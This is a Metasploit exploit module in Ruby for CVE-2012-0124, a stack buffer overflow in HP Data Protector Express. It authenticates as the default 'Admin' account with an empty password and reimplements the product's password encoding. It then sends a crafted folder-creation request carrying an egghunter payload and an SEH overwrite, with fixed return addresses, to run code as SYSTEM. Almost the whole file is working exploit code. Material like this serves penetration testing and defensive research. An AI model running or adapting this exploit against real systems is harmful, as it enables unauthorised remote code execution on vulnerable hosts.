##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Data Protector Create New Folder Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP Data Protector 5. The overflow
				occurs in the creation of new folders, where the name of the folder is handled in a
				insecure way by the dpwindtb.dll component. While the overflow occurs in the stack, the
				folder name is split in fragments in this insecure copy. Because of this, this module
				uses egg hunting to search a non corrupted copy of the payload in the heap. On the other
				hand the overflowed buffer is stored in a frame protected by stack cookies, because of
				this SEH handler overwrite is used.

				Any user of HP Data Protector Express is able to create new folders and trigger the
				vulnerability. Moreover, in the default installation the 'Admin' user has an empty
				password. Successful exploitation will lead to code execution with the privileges of
				the "dpwinsdr.exe" (HP Data Protector Express Domain Server Service) process, which
				runs as SYSTEM by default.
			},
			'Author'         =>
				[
					'juan vazquez',
					'sinn3r'
				],
			'References'     =>
				[
					[ 'CVE', '2012-0124' ],
					[ 'OSVDB', '80105' ],
					[ 'BID', '52431' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03229235' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/07/06/an-example-of-egghunting-to-exploit-cve-2012-0124' ]
				],
			'Payload'        =>
				{
					'Space' => 2000,
					'BadChars' => "\x00\x2f\x5c",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['HP Data Protector Express 6.0.00.11974 / Windows XP SP3',
						{
							'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
							'Offset' => 2734
						}
					],
					['HP Data Protector Express 5.0.00.59287 / Windows XP SP3',
						{
							'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
							'Offset' => 2730
						}
					],
				],
			'DefaultTarget' => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Mar 12 2012'
			))
			register_options(
			[
				Opt::RPORT(3817),
				OptString.new('USERNAME', [ true, 'The username to authenticate as','Admin' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','' ])
			], self.class)
	end

	# dpwinsup!SvcEncrypt2
	def encrypt_password(password)
		if not password or password.empty?
			return ""
		end

		result = ""
		count = 0x80

		i = 0
		dl = 0
		al = password.unpack("C*")[i]

		while count > 2
			al = al + dl
			if al >= 0x100 then al = al - 0x100 end
			al = al + 0x22
			if al >= 0x100 then al = al - 0x100 end
			al = al ^ 0x2b
			if al >= 0x100 then al = al - 0x100 end
			al = al + 0x4c
			if al >= 0x100 then al = al - 0x100 end
			al = al ^ 0x5f
			if al >= 0x100 then al = al - 0x100 end
			al = al - dl
			if al >= 0x100 then al = al - 0x100 end
			bl = al
			if bl >= 0x100 then bl = bl - 0x100 end
			bl = bl >> 4
			if bl >= 0x100 then bl = bl - 0x100 end
			bl = bl + 0x41
			if bl >= 0x100 then bl = bl - 0x100 end
			result << [bl].pack("C")
			al = al & 0xf
			if al >= 0x100 then al = al - 0x100 end
			al = al + 0x41
			if al >= 0x100 then al = al - 0x100 end
			i = i + 1
			result << [al].pack("C")
			dl = dl + 5
			if dl >= 0x100 then dl = dl - 0x100 end
			count = count - 2
			if i >= password.length
				return result
			end
			al = password.unpack("C*")[i]

		end
		return result
	end

	def exploit
		connect

		machine_name = rand_text_alpha(15)

		print_status("#{sock.peerinfo} - Sending Hello Request")

		if target.name =~ /HP Data Protector Express 5/
			hello =  "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
			hello << "\x3a\x53\xa5\x71\x06\x20\x80\x00" << "\x6a\x02\xaf\x03\xf8\xc5\xc7\x02"
			hello << "\x01\x00\x00\x00\xc0\xa8\x01\x85" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			hello << "\x00\x00\x00\x00"
			hello << machine_name << "\x00"
			hello << "\x5b\x2e\xad\x71\x50\x03\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
			hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xf8\x31\x0a\x10"
			hello << "\x50\x03\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x6c\xfa"
		else # HP Data Protector 6
			hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x01\x01\x00\x00\x92\x00\x00\x00"
			hello << "\x3a\x53\xa5\x71\x03\x20\x80\x00" << "\xdf\x6e\x4a\x00\xbf\x41\x3b\x00"
			hello << "\x01\x00\x00\x00\xc0\xa8\x01\x84" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			hello << "\x00\x00\x00\x00"
			hello << machine_name << "\x00"
			hello << "\x5b\x2e\xad\x71\x7c\x03\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
			hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\x08\xf4\x06\x10"
			hello << "\x7c\x03\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x70\xfa"
		end

		sock.put(hello)
		hello_response = sock.get

		if not hello_response or hello_response.empty?
			print_error("#{sock.peerinfo} - The Hello Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Authentication Request")

		if target.name =~ /HP Data Protector Express 5/
			auth =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x18\x00\x00\x00\xa4\x01\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x01\x10\x00\x00" << "\xd1\x00\x97\x4e\xb8\xe7\x03\x00"
			auth << "\xd5\x21\xe6\xff"
		else # HP Data Protector 6
			auth = "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x18\x00\x00\x00\xa4\x01\x00\x00"
			auth << "\x00\x00\x00\x00\x41\x64\x6d\x69" << "\x6e\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
			auth << "\x00\x00\x00\x00\x01\x10\x00\x00" << "\x41\xbf\xf1\x4f\x67\xdd\x05\x00"
			auth << "\x73\xd8\xed\xff"
		end

		user = datastore['USERNAME']
		pass = encrypt_password(datastore['PASSWORD'])
		auth[20, user.length] = user
		if pass and not pass.empty?
			auth[276, pass.length] = pass
		end

		sock.put(auth)
		auth_response = sock.get
		if not auth_response or auth_response.empty?
			print_error("#{sock.peerinfo} - The Authentication Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Token Request")
		request_token =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x02\x00\x00\x00\x24\x00\x00\x00"
		request_token << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		request_token << "\x07\x00\x00\x00"

		sock.put(request_token)
		response_token = sock.get
		if not response_token or response_token.empty?
			print_error("#{sock.peerinfo} - The Token Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Home Identifier Request")
		request_home_identifier =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x03\x00\x00\x00\x30\x00\x00\x00"
		request_home_identifier << "\x00\x00\x00\x00"
		request_home_identifier << response_token[-8,8]
		request_home_identifier << "\x02\x10\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x01\x00\xff\xff"
		request_home_identifier << "\x00\x00\x00\x00"

		sock.put(request_home_identifier)
		response_home_identifier = sock.get
		if not response_home_identifier or response_home_identifier.empty?
			print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Home Contents Request")
		request_home_contents =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x04\x00\x00\x00\x3c\x00\x00\x00"
		request_home_contents << "\x00\x00\x00\x00\x00\x00\x00\x00"
		request_home_contents << response_token[-8,8]
		request_home_contents << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x02\x10\x00\x00"
		request_home_contents << response_home_identifier[24,9] << "\00\x00\x00\x00\x0d\x00\x00"

		sock.put(request_home_contents)
		response_home_contents = sock.get
		if not response_home_contents or response_home_contents.empty?
			print_error("#{sock.peerinfo} - The Home Contents Request haven't had response")
			return
		end

		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :eggtag => 'w00t' })
		my_payload = egg
		my_payload << rand_text(target['Offset']-my_payload.length)
		my_payload << generate_seh_record(target.ret)
		my_payload << hunter

		print_status("#{sock.peerinfo} - Sending Create Object Request")
		create_object_request =  "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x06\x00\x00\x00\x39\x11\x00\x00"
		create_object_request << "\x00\x00\x00\x00"
		create_object_request << response_token[-8,8]
		create_object_request << response_home_contents[20, 14] << "\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x20\x03\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
		create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00"
		create_object_request << my_payload << "\x00"

		create_object_request[12, 4] = [create_object_request.length].pack("V")

		sock.put(create_object_request)

		disconnect
	end
end
